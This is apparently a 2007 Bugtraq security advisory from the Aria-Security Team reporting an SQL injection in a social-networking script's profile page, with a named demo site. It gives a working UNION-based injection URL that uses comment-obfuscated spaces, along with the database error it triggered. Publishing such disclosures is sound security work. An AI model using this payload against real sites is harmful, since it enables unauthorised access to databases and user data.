Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
[Aria-Security Team] social-networkin SQL Injection Sep 09 2007 04:45AM
Advisory Aria-security net
_________________________

A R I A - S E C U R I T Y
_________________________

http://www.social-networking.tv/
Demo: http://www.social-networking.tv/musicians/
http://mytarget/profile/myprofile.php?u=[SQL]

We will just provide an example to show the result when an SQL command is given

http://mytarget/profile/myprofile.php?u=[SQL]-1/**/union/**/all/**/selec
t/**/1/**/from/**/test

Result:
Table 'socialee_new.test' doesn't exist

-------------------------

Credits: Aria-Security Team
http://aria-security.net

[ reply ]







 

Privacy Statement
Copyright 2008, SecurityFocus